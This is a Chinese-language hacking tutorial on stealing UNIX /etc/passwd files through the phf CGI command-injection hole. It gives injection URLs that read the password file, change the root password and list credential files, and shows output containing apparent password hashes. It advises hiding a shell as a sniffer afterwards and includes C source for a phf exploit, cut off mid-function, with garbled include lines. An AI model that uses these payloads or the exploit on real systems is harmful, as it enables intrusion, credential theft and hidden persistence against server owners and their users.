本文将深入探讨UNIX系统密码文件的相关知识,带你了解从UNIX系统中获取密码文件的各种途径——部分方法需要有效账号,另一些则无需账号即可操作。同时,我们还将详细对比完整的密码文件与shadow密码文件的区别,并介绍如何读取shadow密码文件。
PHF:WWW的PH查询
当WWW服务器的cgi-bin目录下存在一个名为phf的可执行程序(且具备执行权限x),你就可以通过WWW或Linux文本浏览器lynx访问该程序。这个功能可以用来做什么?——直接读取系统上的文件,例如/etc/passwd,并将其保存到本地机器上。
这里有一个关键点:如果httpd服务器以root用户身份运行,那么通过phf漏洞,我们甚至有可能获得该服务器的root权限,进而修改服务器上某个用户的密码。
有一个Perl脚本,它会检测由上一章getdomain.pl脚本获取的结果,以判断运行服务器的用户身份。若检测到是root用户,则记录之;若非root用户,则自动从/etc目录下读取passwd文件,并保存为domain.???.passwd格式的文件。
此外,还准备了另一个脚本,允许你从一个shell中执行单条命令。只要目标系统存在phf漏洞,你就可以在shell中输入命令行,并通过管道将其传送到远程系统上执行。
接下来,让我们开始学习如何利用phf漏洞。
打开你常用的Web浏览器,或UNIX系统中常见的lynx文本浏览器,并连接到网络。浏览器窗口出现后,按下g键(即使用浏览器的“go”功能)。你会看到类似以下内容(以lynx为例):
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
在“URL to open:”提示处输入:https://xxx.org/cgi-bin/phf/?Qalias=xid
返回结果如下:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
这表明运行服务器的用户是nobody。虽然暂时还不是root,但事情才刚刚开始。;-)
完整的命令行格式为:https://afp.org/cgi-bin/phf/?Qalias=xid
这里的“id”是一条命令,用于要求服务器返回当前用户的ID。有时需要指定完整路径,例如:https://afp.org/cgi-bin/phf/?Qalias=x/usr/bin/id
请注意后续命令行中的内容。如果需要输入空格符,必须使用%20代替。以下是几个常用的命令行示例(均以%20开头):
- 查看passwd密码文件:%20/bin/cat%20/etc/passwd
- 获取/etc目录下所有以pass开头的文件详细列表:%20ls%20-al%20/etc/pass*
- 如果拥有httpd的root权限,备份passwd文件:%20cp%20/etc/passwd%20/etc/passwd.my
- 更改root用户密码:%20passwd%20root
上述命令可让你在后续以root用户登录时无需输入密码。但别忘了之后要将passwd.my恢复为passwd,删除备份文件,然后运行一个合适的shell隐藏自身,作为嗅探器来获取所需密码。
只要熟悉UNIX命令输入方式,并牢记用%20代替空格符,就不会遇到太大困难!
那么,现在让我们来获取具体的passwd文件内容。;-)
在浏览器中输入:https://xxx.org/cgi-bin/phf/?Qalias=xcat%20/etc/passwd
你会看到:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
一个简洁的密码文件内容。:-) 如需保存该文件,可以在文本浏览器中选择“打印”并“保存为文件”。
接下来,我们来解读passwd文件的结构:
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
- 1 = 用户名
- 2 = 被加密的密码
- 3 = 用户标识
- 4 = 用户组ID
- 5 = 真实名字
- 6 = 用户根目录
- 7 = Shell
如果你不想使用WWW浏览器,也可以编译并执行以下脚本,同样能达到目的:
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to ha ve lynx. Also,
* this sa ves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with a verage network load. Be patient.
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20");
else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
i++;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]);
else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%s\n", command);
free(command);
write(s, exploit, strlen(exploit)); 